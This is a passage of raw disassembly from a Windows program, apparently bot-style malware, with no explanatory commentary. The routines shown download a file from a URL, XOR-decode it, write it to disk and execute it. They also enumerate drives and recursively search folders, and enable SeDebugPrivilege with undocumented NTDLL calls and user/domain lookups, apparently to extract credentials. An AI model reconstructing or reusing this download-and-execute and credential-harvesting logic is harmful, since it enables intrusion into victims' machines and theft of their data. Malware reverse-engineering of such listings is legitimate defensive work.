call dword_4E42B8 ; closesocket loc_416F8A: ; CODE XREF: sub_416D5D+222j push [ebp+var_1C] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread sub_416D5D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F9A proc near ; DATA XREF: sub_401CC7+63CBo ; sub_401CC7+6C09o var_590 = qword ptr -590h var_584 = qword ptr -584h Dst = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh Str = byte ptr -2C8h var_248 = byte ptr -248h Filename = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h Memory = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4E41D0 call dword_4E4124 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_417426 push esi push esi push 2 push esi push esi lea eax, [ebp+Filename] push 40000000h push eax call ds:dword_4F63F4 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_417061 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_44F90C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_417044 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C add esp, 14h loc_417044: ; CODE XREF: sub_416F9A+88j lea eax, [ebp+Dst] push eax call sub_415C77 push [ebp+var_48] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_417061: ; CODE XREF: sub_416F9A+68j xor edi, edi call ds:dword_4F63B0 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx ; Size call _malloc pop ecx mov [ebp+Memory], eax loc_41707B: ; CODE XREF: sub_416F9A+1B4j push 200h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+Dst] push 200h push eax push [ebp+var_18] call dword_4E412C ; InternetReadFile cmp [ebp+var_34], esi jz short loc_4170BF push [ebp+arg_0] lea eax, [ebp+Dst] push eax call sub_41748C pop ecx pop ecx loc_4170BF: ; CODE XREF: sub_416F9A+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+Dst] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4F63E8 ; WriteFile cmp edi, ebx jnb short loc_4170FD mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_4170E7 mov eax, [ebp+arg_0] loc_4170E7: ; CODE XREF: sub_416F9A+148j push eax ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+Memory] add eax, edi push eax ; Dst call _memcpy add esp, 0Ch loc_4170FD: ; CODE XREF: sub_416F9A+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_41710A cmp edi, [ebp+var_3C] ja short loc_417154 loc_41710A: ; CODE XREF: sub_416F9A+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_417124 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_44F934 jmp short loc_417134 ; --------------------------------------------------------------------------- loc_417124: ; CODE XREF: sub_416F9A+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset asc_44F95C ; "-" loc_417134: ; CODE XREF: sub_416F9A+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_456F28 push eax ; Dest call _sprintf add esp, 10h cmp [ebp+arg_0], esi ja loc_41707B loc_417154: ; CODE XREF: sub_416F9A+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_4171A9 cmp edi, [ebp+var_3C] jz short loc_4171A9 push [ebp+var_3C] lea eax, [ebp+Dst] mov [ebp+var_14], esi push edi push offset asc_44F984 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C lea eax, [ebp+Dst] push eax call sub_415C77 add esp, 28h loc_4171A9: ; CODE XREF: sub_416F9A+1C4j ; sub_416F9A+1C9j call ds:dword_4F63B0 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_4F6370 ; CloseHandle push [ebp+Memory] ; Memory call _free cmp [ebp+var_38], esi pop ecx jz short loc_417233 lea eax, [ebp+Filename] push eax ; Filename call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_417233 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+Dst] push offset asc_44F9B0 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C lea eax, [ebp+Dst] push eax call sub_415C77 add esp, 28h loc_417233: ; CODE XREF: sub_416F9A+241j ; sub_416F9A+253j cmp [ebp+var_14], esi jz loc_417473 cmp [ebp+var_44], 1 jz loc_41732E mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43D488 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_43D488 fstp [esp+590h+var_590] push offset asc_44F9D8 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4172AE push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C add esp, 14h loc_4172AE: ; CODE XREF: sub_416F9A+2F2j lea eax, [ebp+Dst] push eax call sub_415C77 cmp [ebp+var_40], 1 pop ecx jnz loc_417473 push 5 push esi lea eax, [ebp+Filename] push esi push eax push offset aOpen_2 ; "open" push esi call dword_4E418C cmp [ebp+var_30], esi jnz loc_417473 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_44FA18 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C lea eax, [ebp+Dst] push eax call sub_415C77 add esp, 24h jmp loc_417473 ; --------------------------------------------------------------------------- loc_41732E: ; CODE XREF: sub_416F9A+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43D488 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_43D488 fstp [esp+590h+var_590] push offset asc_44FA34 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_417396 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C add esp, 14h loc_417396: ; CODE XREF: sub_416F9A+3DAj lea eax, [ebp+Dst] push eax call sub_415C77 push 10h ; Size lea eax, [ebp+var_10] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_310] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset dword_4EBF00 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+Filename] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_4F6374 ; CreateProcessA cmp eax, edi jnz short loc_417418 call dword_4E4178 ; WSACleanup call sub_41912E push esi call ds:dword_4F636C ; ExitProcess loc_417418: ; CODE XREF: sub_416F9A+46Aj lea eax, [ebp+Filename] push eax push offset unk_44FA78 jmp short loc_417432 ; --------------------------------------------------------------------------- loc_417426: ; CODE XREF: sub_416F9A+45j lea eax, [ebp+var_248] push eax push offset asc_44FAAC ; "-" loc_417432: ; CODE XREF: sub_416F9A+48Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_417466 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D6C add esp, 14h loc_417466: ; CODE XREF: sub_416F9A+4AAj lea eax, [ebp+Dst] push eax call sub_415C77 pop ecx loc_417473: ; CODE XREF: sub_416F9A+29Cj ; sub_416F9A+325j ... push [ebp+var_18] call dword_4E4254 ; InternetCloseHandle push [ebp+var_48] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread sub_416F9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41748C proc near ; CODE XREF: sub_416F9A+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_4174A8 loc_417498: ; CODE XREF: sub_41748C+1Aj mov dl, byte_440090 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_417498 locret_4174A8: ; CODE XREF: sub_41748C+Aj retn sub_41748C endp ; =============== S U B R O U T I N E ======================================= sub_4174A9 proc near ; CODE XREF: sub_401CC7+5991p ; sub_401CC7+5AC6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_422240 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_4174A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174C3 proc near ; CODE XREF: sub_410423+458p ; sub_410423+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h ; Size mov edi, offset dword_4EBF04 push 0 ; Val push edi ; Dst call _memset mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4174E8: ; CODE XREF: sub_4174C3+5Bj ; sub_4174C3+61j push 0 push 0Ah push [ebp+arg_4] push ebx call __aullrem push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call __aulldiv mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_417526 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4174E8 mov byte ptr [esi], 2Ch inc esi jmp short loc_4174E8 ; --------------------------------------------------------------------------- loc_417526: ; CODE XREF: sub_4174C3+4Bj dec esi mov eax, edi loc_417529: ; CODE XREF: sub_4174C3+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_417538 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_417529 ; --------------------------------------------------------------------------- loc_417538: ; CODE XREF: sub_4174C3+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4174C3 endp ; =============== S U B R O U T I N E ======================================= sub_417542 proc near ; CODE XREF: sub_417703+51p ; sub_417703+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E4280 ; GetDriveTypeA sub eax, 0 jz short loc_417585 dec eax jz short loc_41757F dec eax dec eax jz short loc_417579 dec eax jz short loc_417573 dec eax jz short loc_41756D dec eax jz short loc_417567 mov eax, offset dword_44FB04 retn ; --------------------------------------------------------------------------- loc_417567: ; CODE XREF: sub_417542+1Dj mov eax, offset off_44FB00 retn ; --------------------------------------------------------------------------- loc_41756D: ; CODE XREF: sub_417542+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_417573: ; CODE XREF: sub_417542+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_417579: ; CODE XREF: sub_417542+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_41757F: ; CODE XREF: sub_417542+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_417585: ; CODE XREF: sub_417542+Dj mov eax, offset aUnknown ; "Unknown" retn sub_417542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41758B proc near ; CODE XREF: sub_4175D3+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4E4110 test eax, eax jz short loc_4175C0 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_4175C0: ; CODE XREF: sub_41758B+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_41758B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175D3 proc near ; CODE XREF: sub_417703+17p ; sub_41B964+1F3p Dest = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_41758B pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_4176B6 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_4176B6 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_4176B6 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call __alldiv push edx push eax call sub_4174C3 pop ecx mov esi, 80h pop ecx push eax push offset aSkb ; "%sKB" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push edi push [ebp+var_C] push [ebp+var_10] call __alldiv push edx push eax call sub_4174C3 pop ecx pop ecx push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push edi push [ebp+var_4] push [ebp+var_8] call __alldiv push edx push eax call sub_4174C3 pop ecx pop ecx push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi ; Count push eax ; Dest call __snprintf add esp, 10h jmp short loc_4176EF ; --------------------------------------------------------------------------- loc_4176B6: ; CODE XREF: sub_4175D3+2Cj ; sub_4175D3+3Bj ... lea eax, [ebp+Dest] push offset aFailed ; "failed" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_118] pop ecx push offset aFailed_0 ; "failed" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_98] pop ecx push offset aFailed_1 ; "failed" push eax ; Dest call _sprintf pop ecx pop ecx loc_4176EF: ; CODE XREF: sub_4175D3+E1j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+Dest] mov edi, eax rep movsd pop edi pop esi leave retn sub_4175D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417703(int,char *Str,int,int) sub_417703 proc near ; CODE XREF: sub_4177D5+17p ; sub_4177D5+60p Dest = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h Str1 = byte ptr -80h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_4175D3 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+Str1] push offset aFailed_2 ; "failed" rep movsd push eax ; Str1 call _strcmp add esp, 10h test eax, eax jnz short loc_417776 push ebx push ebx call sub_417542 pop ecx push eax push offset asc_44FB40 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_4177AA ; --------------------------------------------------------------------------- loc_417776: ; CODE XREF: sub_417703+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+Str1] push eax push ebx push ebx call sub_417542 pop ecx push eax push offset asc_44FB7C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 20h loc_4177AA: ; CODE XREF: sub_417703+71j push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 18h pop edi pop esi pop ebx leave retn sub_417703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4177D5(int,char *Str,int,int) sub_4177D5 proc near ; CODE XREF: sub_401CC7+2548p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4177F6 push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_417703 add esp, 10h jmp short loc_417857 ; --------------------------------------------------------------------------- loc_4177F6: ; CODE XREF: sub_4177D5+9j push esi push edi push ebx push ebx call dword_4E4188 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi ; Size call _malloc pop ecx mov edi, eax push edi push esi call dword_4E4188 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_41784E loc_41781A: ; CODE XREF: sub_4177D5+77j push offset aA_1 ; "A:\\" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41783D push esi ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_417703 add esp, 10h loc_41783D: ; CODE XREF: sub_4177D5+54j push esi ; Str call _strlen cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_41781A loc_41784E: ; CODE XREF: sub_4177D5+43j push edi ; Memory call _free pop ecx pop edi pop esi loc_417857: ; CODE XREF: sub_4177D5+1Fj pop ebx pop ebp retn sub_4177D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41785A proc near ; DATA XREF: sub_401CC7+69F1o Dest = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_115 = byte ptr -115h Str = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+Str] push eax ; Str call _strlen xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4178AF lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_115], bl loc_4178AF: ; CODE XREF: sub_41785A+3Fj lea eax, [ebp+var_218] push eax push offset asc_44FBBC ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4178F4 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409D6C add esp, 14h loc_4178F4: ; CODE XREF: sub_41785A+78j lea eax, [ebp+Str] push ebx ; int push eax ; int lea eax, [ebp+var_218] push eax ; int lea eax, [ebp+var_298] push [ebp+var_C] ; int push eax ; Str push [ebp+var_29C] ; int call sub_417975 add esp, 18h push eax lea eax, [ebp+Dest] push offset asc_44FBE4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_417955 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409D6C add esp, 14h loc_417955: ; CODE XREF: sub_41785A+D9j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx sub_41785A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417975(int,char *Str,int,int,int,int) sub_417975 proc near ; CODE XREF: sub_41785A+B9p ; sub_417975+9Cp var_548 = dword ptr -548h var_348 = dword ptr -348h Dest = byte ptr -244h var_140 = byte ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 548h push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+Dest] push offset aS_29 ; "%s\\*" push esi ; Count push eax ; Dest call __snprintf mov edi, ds:dword_4F6424 add esp, 10h lea eax, [ebp+var_140] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_417A2E loc_4179BB: ; CODE XREF: sub_417975+B7j test [ebp+var_140], 10h jz short loc_417A1C cmp [ebp+var_114], 2Eh jnz short loc_4179DF cmp [ebp+var_113], 0 jz short loc_417A1C cmp [ebp+var_113], 2Eh jz short loc_417A1C loc_4179DF: ; CODE XREF: sub_417975+56j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_348] push [ebp+arg_10] push offset aSS_9 ; "%s\\%s" push esi ; Count push eax ; Dest call __snprintf push [ebp+arg_14] ; int lea eax, [ebp+var_348] push eax ; int push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_417975 add esp, 2Ch mov [ebp+arg_14], eax loc_417A1C: ; CODE XREF: sub_417975+4Dj ; sub_417975+5Fj ... lea eax, [ebp+var_140] push eax push ebx call ds:dword_4F6420 ; FindNextFileA test eax, eax jnz short loc_4179BB loc_417A2E: ; CODE XREF: sub_417975+44j push ebx mov ebx, ds:dword_4F6414 call ebx ; FindClose push [ebp+arg_C] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSS_10 ; "%s\\%s" push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_140] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_417AB8 loc_417A69: ; CODE XREF: sub_417975+141j lea eax, [ebp+var_114] inc [ebp+arg_14] push eax lea eax, [ebp+var_548] push [ebp+arg_10] push offset asc_44FC1C ; "-" push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+var_548] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 28h lea eax, [ebp+var_140] push eax push esi call ds:dword_4F6420 ; FindNextFileA test eax, eax jnz short loc_417A69 loc_417AB8: ; CODE XREF: sub_417975+F2j push esi call ebx ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_417975 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AC3 proc near ; DATA XREF: sub_401CC7+1C8Co Dest = byte ptr -29Ch var_9C = dword ptr -9Ch Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41B810 cmp eax, esi mov [ebp+var_4], eax jz short loc_417B02 cmp eax, 2 jz short loc_417B02 push offset unk_44FE1C jmp loc_417C41 ; --------------------------------------------------------------------------- loc_417B02: ; CODE XREF: sub_417AC3+2Ej ; sub_417AC3+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41A556 pop ecx test eax, eax pop ecx jz loc_417C3C push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4F63C0 ; LoadLibraryA mov esi, ds:dword_4F63C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4ED148, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4ED13C, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4ED34C, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4ED144, eax call esi ; GetProcAddress mov dword_4ED140, eax call sub_417C95 test eax, eax mov [ebp+arg_0], eax jz loc_417C0F mov esi, ds:dword_4F6444 mov edi, 400h mov ebx, offset word_4EC13C push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset word_4EC93C push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4ED354 push [ebp+arg_0] jnz short loc_417BBB call sub_417E1E jmp short loc_417BC0 ; --------------------------------------------------------------------------- loc_417BBB: ; CODE XREF: sub_417AC3+EFj call sub_417FC5 loc_417BC0: ; CODE XREF: sub_417AC3+F6j pop ecx test eax, eax pop ecx jz short loc_417C08 cmp dword_4ED354, 0 jnz short loc_417BEF push ebx push edi push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_44FD14 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_417C22 ; --------------------------------------------------------------------------- loc_417BEF: ; CODE XREF: sub_417AC3+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417BFF call sub_4180FB jmp short loc_417C04 ; --------------------------------------------------------------------------- loc_417BFF: ; CODE XREF: sub_417AC3+133j call sub_418192 loc_417C04: ; CODE XREF: sub_417AC3+13Aj pop ecx push eax jmp short loc_417C14 ; --------------------------------------------------------------------------- loc_417C08: ; CODE XREF: sub_417AC3+101j push offset unk_44FD70 jmp short loc_417C14 ; --------------------------------------------------------------------------- loc_417C0F: ; CODE XREF: sub_417AC3+B6j push offset asc_44FDA8 ; "-" loc_417C14: ; CODE XREF: sub_417AC3+143j ; sub_417AC3+14Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_417C22: ; CODE XREF: sub_417AC3+12Aj push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_41A556 pop ecx pop ecx push [ebp+var_8] call ds:dword_4F6440 ; FreeLibrary pop ebx jmp short loc_417C4F ; --------------------------------------------------------------------------- loc_417C3C: ; CODE XREF: sub_417AC3+4Ej push offset asc_44FDE8 ; "-" loc_417C41: ; CODE XREF: sub_417AC3+3Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_417C4F: ; CODE XREF: sub_417AC3+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417C76 push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_9C] ; int call sub_409D6C add esp, 14h loc_417C76: ; CODE XREF: sub_417AC3+191j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_18] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_417AC3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417C95 proc near ; CODE XREF: sub_417AC3+ACp String = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 